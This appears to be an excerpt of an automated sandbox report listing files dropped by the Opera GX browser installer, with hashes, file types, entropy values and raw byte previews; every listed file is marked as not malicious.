                                                                                                                                                                                                              Preview:.PNG........IHDR...8...8.......;.....IDATx...S.,I....[k.m.m.m...k.f....0..Ag5..<.w.1...r:..g.+...+........MX.k`=l......\(...........,vDq>.......x..`wl.U...x..[.....(..p...@u..z...1M../.D>...z..'vJ..U..'C.......?c:..U........GQ...,.P.T<...-..|$~....q..n=L..iF....X....q.......p.6{q8.u'*.R..C...Qg..YCN.:........#g^.R...w.......U..j...H5..eF......iO`..4r.R.[.....0...9{....u.v....X6!>.F`*.Nk.....J...5.P..}..F.\..Lk._.`.#...od..7..4!V.......-...{r.P....9^5.2.(.G..OT..<9}1....A..Q...U.{C.....o..S.....S...b....z..T...o....z..Z.xv......O|.8.....u......c...?.....u.u........p4.v`......kQ..4.....jzf.^....F..4...j:.._K.;..z]..0.0>..........|..W..Z5!6.b?....2O.....,.>.Q.y..-...._..k..w.}.V....s.o....W*..._Q...X..=Tcmc{N.P..1..j..'...l.-.?j^2..*~}Zo.J..7..F....D.91.....#2^..7.}7........$.:P..oc"6I..)n...|A..G.....l'..x..bM#.|...e.yT...k..y.]9...2.ao.z~.g`4....e0L..........t....n*.....}D.>.O..Vv..vE.Qs.\.~...s..........v.....T..7..A.9.s.]zQ...Gb.q).2....e...

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Assets\70x70Logo.scale-80_contrast-white.png (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PNG image data, 56 x 56, 8-bit gray+alpha, non-interlaced
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):901
                                                                                                                                                                                                              Entropy (8bit):7.682141855410327
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:x2BZqWXRHKkqILfEDtySHnb98XPA8KWstHNMufZ4jJO2C:xZQEC8BywBmPAGpC4jJa
                                                                                                                                                                                                              MD5:E6ADD5AFC73F7B06FC2348550595F8D6
                                                                                                                                                                                                              SHA1:4D658BDDB93FA6CB423EBC61BD20DB37E4D37DB6
                                                                                                                                                                                                              SHA-256:DD6F46D32C3E235508F9E4C7D7F993BD807D955BCA7E63CF3D57C6C4C102F46D
                                                                                                                                                                                                              SHA-512:55437DFEA7F68A4572DFC86B5428CBE9DB86C0D32D0B09BA6B7B1CF8E49E5F1BB94285BBDC97D8EE00D70BA75921DB59644787C1BE1672FE37CEE09441F249B6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:.PNG........IHDR...8...8...........LIDATx...mh.e...c....#.."aM..f!Dh....eFaa......0$3.a.bS.(!..$..@%1-+.,.ge..\.9..=<...}...=..7.\'7.-////...T.2.x.F...Ur.5.v..L...Iv..-..a.1&...Y!...U.S%..a......k.V!=....'..M.Pl.F!..s.V..B8g.n..9a......Z.k.....vH..i]V.Yx.....ve:R.I-.c.d...\......S.s<.?....`....).Ab.za^.s.1....~r4[...6a.......$6.o.I.z..A.Z.HG.:.r.C..E..<+.#Q..P.J.._.xYX-...[I.'l.o.{...Q.Y.E.'.V..3...H........i'.w...........:a<...W2.I..0P8(K...IL.V....).V......=". .....;.,....F&..U$6.....d...e.T.}aK...4I.!.(.U."...,}-\G.Rx[&..O...$Kk.I$.k.[&..c......S,.v.....(.Ao...,...K[&T..|.......G.G.6a.++t\..*.?...La......F.....r9..t.U.9.DG.8.o#..j.d..L.~..;B....e.f....*,.......b{./.....N.......`.e$npL.U..f.j.I..A....Oa.^.F.N8`...xU.........@?..t%$.,...l.n)._h0/U.d.....l.C...I....R..)..........3H...N....h.9j.2.{.n_...y..m.9.5.^...H7.i.A.....e.?..R....]....IEND.B`.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\Resources.pri (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3072
                                                                                                                                                                                                              Entropy (8bit):3.118957212117411
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Whs+6rek/gF1A6Gbi+4eTy8iPTUucUITUuqQTUGUQTUsITU6UQTUQITUuUQTU0I0:WWnep/FFLxPoRJo+oGpoBo6po1oupop0
                                                                                                                                                                                                              MD5:400817D0A91767CB830767AA94383F31
                                                                                                                                                                                                              SHA1:73F36C895190223F94E4D52657F14454B2BCBA44
                                                                                                                                                                                                              SHA-256:35D92C86C1C054D1C03F4E58B83681BBFD8573143EE5E4CFB4CBD788A1FFC107
                                                                                                                                                                                                              SHA-512:2216DFC65E24961A18A4622FF6D8D8A1330283E64477A0E44BAC5B8F9A4CB5690FC90F598BBC152214EE6AA8770FE6608C4C809EC6F2CC73547D8166603B3E15
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:mrm_pri0........ ...............[mrm_decn_info].............8...[mrm_pridescex].........8...H...[mrm_hschema] .................[mrm_res_map__].............@...[mrm_decn_info].........8.......................................................................................................................................................................................................................................W.H.I.T.E...8.0...1.8.0...1.4.0...1.0.0.............8...[mrm_pridescex].........H...........................................H...[mrm_hschema] ...................................U^........m.s.-.a.p.p.x.:././.O.p.e.r.a./...O.p.e.r.a.....................L.......................F...........A...........O...........1.../.......7...!...................................F.i.l.e.s...A.s.s.e.t.s...O.p.e.r.a.P.R.I.C.o.n.f.i.g...x.m.l...7.0.x.7.0.L.o.g.o...p.n.g...1.5.0.x.1.5.0.L.o.g.o...p.n.g..........................................[mrm_res_map__].........@.......,.......................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5819288
                                                                                                                                                                                                              Entropy (8bit):6.516146396578527
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:98304:0hfOQGBpQYAmU4sG/GSOa7hSdg4P6IJc63:uqqAOOSIU3
                                                                                                                                                                                                              MD5:79F334AD5B1392E99CE978F0072AE109
                                                                                                                                                                                                              SHA1:D74DF27DDC85822EF8C36F2E2E89211ECC5627E1
                                                                                                                                                                                                              SHA-256:EED76EF614636286D9FCCF88AA4F90EF300EB8B7E223B9EDC7455D23C7B9AE61
                                                                                                                                                                                                              SHA-512:94A8A2F9170965D52F649B442016EACA45CBC5BE3C10F9E6385526AE67A9389130DC3AB46EB24F624A8D551A32A573765F61D4B588D7DF813502F6BB21E5D7FD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."......2H..V........,........@..............................Z.....p4Y...`..........................................iR.Y....iR.......X..`....V.T7....X..)...`Z..B...'R.8....................%R.(... cH.@............{R......iR.@....................text...%0H......2H................. ..`.rdata...+...PH..,...6H.............@..@.data...Tx....S......bS.............@....pdata..T7....V..8...pT.............@..@.gxfg...04...@X..6....V.............@..@.retplne......X.......V..................tls....a.....X.......V.............@...CPADinfo@.....X.......V.............@...LZMADEC.......X.......V............. ..`_RDATA........X.......V.............@..@malloc_h......X.......V............. ..`.rsrc....`....X..b....V.............@..@.reloc...B...`Z..D...^X.............@..B................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.licenses

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14004
                                                                                                                                                                                                              Entropy (8bit):5.037159328058129
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:384:SrNYrOXburxrs4rsFm1DLTryOibEYI3WSOZzxrsCrsRm1DLY7/ymu:KYXtBLDLTryLQ4ZllRDLs/ymu
                                                                                                                                                                                                              MD5:2528B26988213FE5C0EE9CE75ACC2935
                                                                                                                                                                                                              SHA1:D45F0A12E3E0DE6137AE389C7DD680295ADA2A68
                                                                                                                                                                                                              SHA-256:42E58027E502EDAE71B2065ED0A6AB057907C41124C220E54AB75EAA84B0B0E7
                                                                                                                                                                                                              SHA-512:F99295BD23D475D854DD872521F385568EDF28E4DB778F82A03F00FCD7061394A48D3C1644B5817FADFA31BDBCB53AD131ABDB6DD11F8E615020C26A1A970F72
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:This software includes the following third party libraries/code portions:.. - libcurl, which is covered by the following license:..COPYRIGHT AND PERMISSION NOTICE..Copyright (c) 1996 - 2012, Daniel Stenberg, <daniel@haxx.se>...All rights reserved...Permission to use, copy, modify, and distribute this software for any purpose.with or without fee is hereby granted, provided that the above copyright.notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN.NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,.DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR.OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE.OR OTHER DEALINGS IN THE SOFTWARE...Except as contained in this notice, the name of a copyright

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.version

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):6
                                                                                                                                                                                                              Entropy (8bit):2.2516291673878226
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:SWhv:SW5
                                                                                                                                                                                                              MD5:0589F66713BC44029A1A720B9A0D850D
                                                                                                                                                                                                              SHA1:2FDF7D04F0372055C9D77CA43D9A3C08798905F3
                                                                                                                                                                                                              SHA-256:64D23F858EF51B0F996E4966D4E27C0371B437E2D2787890B1F7AD22D4EC5663
                                                                                                                                                                                                              SHA-512:31B29544FC93EAC2109CD1E4A617B5D5CB361C0BA608A954E873A64648E93DD65C7B4AED7F4B687F85C47E9909852FEC93B224D929BABDE1E0145A58DEA33634
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:1.3.0.

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\installation_status.json

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):12458
                                                                                                                                                                                                              Entropy (8bit):5.2844799289404385
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:192:rt4Q51qQ3YWu4S9WCunEPAEijV1J+zV1JzQvyzrdHwGwX:rt1t3YWX+uVT7BX
                                                                                                                                                                                                              MD5:DF4ACD2AA3EB2BFA5F4F046A7A76E4AC
                                                                                                                                                                                                              SHA1:84AD0916A6195263FDA6BF29C9970261517B0760
                                                                                                                                                                                                              SHA-256:EB723B73619419606E28C61E3C629DBD3E0076D4C9CEC82675F4E1A4F6723BFD
                                                                                                                                                                                                              SHA-512:36486AFF93E1EFAD539D06A069F1F2482B01A3C61F130DB420EF2159A0915132FEE29C97AEEA7C7896F3C36100D8F1D1F882E1B994C1079E96F33FDCB6CAF12C
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"_all_users":false,"_launch_from_install_dir":true,"_skip_launcher":true,"_subfolder":"114.0.5282.93","app_id":"1728808435","channel":"Stable","copy_only":false,"files":["114.0.5282.93.manifest","CUESDK.x64_2017.dll","MEIPreload\\manifest.json","MEIPreload\\preloaded_data.pb","d3dcompiler_47.dll","dxcompiler.dll","dxil.dll","headless_command_resources.pak","headless_lib_data.pak","headless_lib_strings.pak","icudtl.dat","installer.exe","libEGL.dll","libGLESv2.dll","localization\\bg.pak","localization\\bn.pak","localization\\ca.pak","localization\\cs.pak","localization\\da.pak","localization\\de.pak","localization\\el.pak","localization\\en-GB.pak","localization\\en-US.pak","localization\\en-VO.pak","localization\\es-419.pak","localization\\es.pak","localization\\fi.pak","localization\\fil.pak","localization\\fr.pak","localization\\hi.pak","localization\\hr.pak","localization\\hu.pak","localization\\id.pak","localization\\it.pak","localization\\ja.pak","localization\\ko.pak","localizati

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1637
                                                                                                                                                                                                              Entropy (8bit):5.164824018264452
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Yv8IY5H3HLq8PBAlXL+eCKr8PQdN9IpHeZi3rC:PH37W9L+t+OpHeZi7C
                                                                                                                                                                                                              MD5:5E373160487EE20EDDA4F734CA7D3726
                                                                                                                                                                                                              SHA1:D9C82741586D02B578145EF4D2A6A31CA8D1584F
                                                                                                                                                                                                              SHA-256:338169AEA15EDC46B533F98A714E754E2EF9984534EEE4FA43E908FCE13BBA40
                                                                                                                                                                                                              SHA-512:E1ED69DFBDE2DD5A66E1AE373E1E44FD89227275FEECF5830FF6BA08221D25162AA97513CA27C3A4E8B544874F93F67A464F275FE11DFEDEFA4B53B023E8BA00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"all-installer-experiments":["installer-experiment-test@2","installer-bypass-launcher@1"],"autoupdate":false,"browser_edition":"std-2","country":"US","enable_stats":true,"features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","import_browser_data":false,"installer-experiments":[],"installer_id":"fd3efedc-b811-4108-a240-97f2db4d0ece",

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json.backup

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1637
                                                                                                                                                                                                              Entropy (8bit):5.164824018264452
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Yv8IY5H3HLq8PBAlXL+eCKr8PQdN9IpHeZi3rC:PH37W9L+t+OpHeZi7C
                                                                                                                                                                                                              MD5:5E373160487EE20EDDA4F734CA7D3726
                                                                                                                                                                                                              SHA1:D9C82741586D02B578145EF4D2A6A31CA8D1584F
                                                                                                                                                                                                              SHA-256:338169AEA15EDC46B533F98A714E754E2EF9984534EEE4FA43E908FCE13BBA40
                                                                                                                                                                                                              SHA-512:E1ED69DFBDE2DD5A66E1AE373E1E44FD89227275FEECF5830FF6BA08221D25162AA97513CA27C3A4E8B544874F93F67A464F275FE11DFEDEFA4B53B023E8BA00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"all-installer-experiments":["installer-experiment-test@2","installer-bypass-launcher@1"],"autoupdate":false,"browser_edition":"std-2","country":"US","enable_stats":true,"features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","import_browser_data":false,"installer-experiments":[],"installer_id":"fd3efedc-b811-4108-a240-97f2db4d0ece",

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\installer_prefs.json~RF3dbc81.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1637
                                                                                                                                                                                                              Entropy (8bit):5.164824018264452
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:48:Yv8IY5H3HLq8PBAlXL+eCKr8PQdN9IpHeZi3rC:PH37W9L+t+OpHeZi7C
                                                                                                                                                                                                              MD5:5E373160487EE20EDDA4F734CA7D3726
                                                                                                                                                                                                              SHA1:D9C82741586D02B578145EF4D2A6A31CA8D1584F
                                                                                                                                                                                                              SHA-256:338169AEA15EDC46B533F98A714E754E2EF9984534EEE4FA43E908FCE13BBA40
                                                                                                                                                                                                              SHA-512:E1ED69DFBDE2DD5A66E1AE373E1E44FD89227275FEECF5830FF6BA08221D25162AA97513CA27C3A4E8B544874F93F67A464F275FE11DFEDEFA4B53B023E8BA00
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{"all-installer-experiments":["installer-experiment-test@2","installer-bypass-launcher@1"],"autoupdate":false,"browser_edition":"std-2","country":"US","enable_stats":true,"features-dna-requirements":{"818c3ef12d0b":{"forbidden":["5b3eb4a6c335a0659d16d1a189ca155e4441ea14"],"required":["64336fb81a04836eb8108d24fbca3aa3682db0a5"]}},"features-remote-flag":"01979299c8cd,13e025f64bd6:disabled,13eeaf851da7,1ad69b007ce5,1c4dddb65bac,1d24dceb937a,278deecb29a1,2c1429a5a72e,3389f6c15eb9,40db6e644d2c:disabled,50796754ffc7,5448a57d6689:disabled,54726ed4401e,56d717ae3ad6,5a28d66c82cd,603cade21cf7,654296fe9d6c,818c3ef12d0b,8511df77ed15,88edd7903398,970fe421a344,9ec4e68ae70a:disabled,b2a2a32b832b,b7751444d14a,b9677b166709:disabled,c25d6d8d2719:disabled,c57119eb4723,c9a44eaecc11,cbc43aa3cfb6,d144067b33ec,d4b5093b464f,e2c9ffba8439,e7de6afa38c4,f17eaee53639,f3834d6657d8,f77fe4682650,fc82980101cd","import_browser_data":false,"installer-experiments":[],"installer_id":"fd3efedc-b811-4108-a240-97f2db4d0ece",

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\launcher.visualelementsmanifest.xml (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):317
                                                                                                                                                                                                              Entropy (8bit):4.996593526126476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:ejHyaVic4subiL/bWHMjizddDhkQwYZXXKmJfFmkQwYEbghuPYEpwhugVFQ:eF8iDbWHMjizd2O/fbrghuP5whuQFQ
                                                                                                                                                                                                              MD5:E8D8EAA4C2826C083AB9243B5CBD7BF8
                                                                                                                                                                                                              SHA1:534361AE03417DFD14EBD6F961B707C75A2AF41A
                                                                                                                                                                                                              SHA-256:B3213B07F691C812425115428B9D6E0637D488159E0A1C160C8FA8F04DED11F6
                                                                                                                                                                                                              SHA-512:8ECCD5EF54A73E915A39CDEF9768837DD16E49AE27A3AE6428FB346C9C838FD9DBEDC3F40A9094754C770CA2236A0D2DFDE37D22289218D862AF5E8BC15E85E5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:<Application xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">. <VisualElements. BackgroundColor="#06030D". ShowNameOnSquare150x150Logo="on". ForegroundText="light". Square150x150Logo="Assets\150x150Logo.png". Square70x70Logo="Assets\70x70Logo.png". />.</Application>

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1493400
                                                                                                                                                                                                              Entropy (8bit):6.361746395675546
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24576:wl3NAeA1+ibmbqjLNVcP6f2B2MJkgbg6DwMU9eCue:+mRUbqDg6q2QZbgWUYCb
                                                                                                                                                                                                              MD5:0A28FF19DB4A60C38A92C17A53ECAA1E
                                                                                                                                                                                                              SHA1:7C704B226B76779144A11B1305B80157F22D8E48
                                                                                                                                                                                                              SHA-256:799EC7EDE7BA49339C5D81D362594E8F49FAF733A25B9C7D4A37F7D6264F6FFF
                                                                                                                                                                                                              SHA-512:21DD3E74F6B0642396BFEF922D00D8ABF5316E5D49BB8F5E8FEBF6E011F5E34376DC9A4EA1847327F8258ACFF363D1F5F2CD885BAA788BF4E2001A1657EF5135
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....n.g.........."..................k.........@.....................................;....`.........................................h...k.......P.......8.......T{.......)..............8...................p...(.......@.......................@....................text...m........................... ..`.rdata..T...........................@..@.data...<....p.......^..............@....pdata..T{.......|...H..............@..@.gxfg....*.......,..................@..@.retplne.................................tls................................@..._RDATA..............................@..@.rsrc...8...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\opera.visualelementsmanifest.xml (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):317
                                                                                                                                                                                                              Entropy (8bit):4.996593526126476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:6:ejHyaVic4subiL/bWHMjizddDhkQwYZXXKmJfFmkQwYEbghuPYEpwhugVFQ:eF8iDbWHMjizd2O/fbrghuP5whuQFQ
                                                                                                                                                                                                              MD5:E8D8EAA4C2826C083AB9243B5CBD7BF8
                                                                                                                                                                                                              SHA1:534361AE03417DFD14EBD6F961B707C75A2AF41A
                                                                                                                                                                                                              SHA-256:B3213B07F691C812425115428B9D6E0637D488159E0A1C160C8FA8F04DED11F6
                                                                                                                                                                                                              SHA-512:8ECCD5EF54A73E915A39CDEF9768837DD16E49AE27A3AE6428FB346C9C838FD9DBEDC3F40A9094754C770CA2236A0D2DFDE37D22289218D862AF5E8BC15E85E5
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:<Application xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">. <VisualElements. BackgroundColor="#06030D". ShowNameOnSquare150x150Logo="on". ForegroundText="light". Square150x150Logo="Assets\150x150Logo.png". Square70x70Logo="Assets\70x70Logo.png". />.</Application>

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\pref_default_overrides

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:JSON data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2
                                                                                                                                                                                                              Entropy (8bit):1.0
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:3:H:H
                                                                                                                                                                                                              MD5:99914B932BD37A50B983C5E7C90AE93B
                                                                                                                                                                                                              SHA1:BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
                                                                                                                                                                                                              SHA-256:44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
                                                                                                                                                                                                              SHA-512:27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:{}

                                                                                                                                                                                                              C:\Users\user\AppData\Local\Programs\Opera GX\server_tracking_data

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              File Type:ASCII text, with very long lines (904), with no line terminators
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):904
                                                                                                                                                                                                              Entropy (8bit):5.556535764324661
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:24:dXYsbm0sNQsB/pUjFo32pfNH9rX2WA4jA3WCjs:dXYsKlJpURbHA4kZjs
                                                                                                                                                                                                              MD5:A47077F6E2A8D8094A239B221ADC29D0
                                                                                                                                                                                                              SHA1:F6A6B2E5CFE118036C15F9C2E42CDB0AD241547C
                                                                                                                                                                                                              SHA-256:B21C2F72C528FFF640BB1131A26D85A00EF85423C99ECD49576F56906CB97B88
                                                                                                                                                                                                              SHA-512:BF37CEC7EEC703DE614E238716D8B3BC3BD698959E3FFF3C4F6BE998DABA3C76F20A505A80E4E6B23BFE662BE03058977A6074498A9431A5162212413AA05250
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
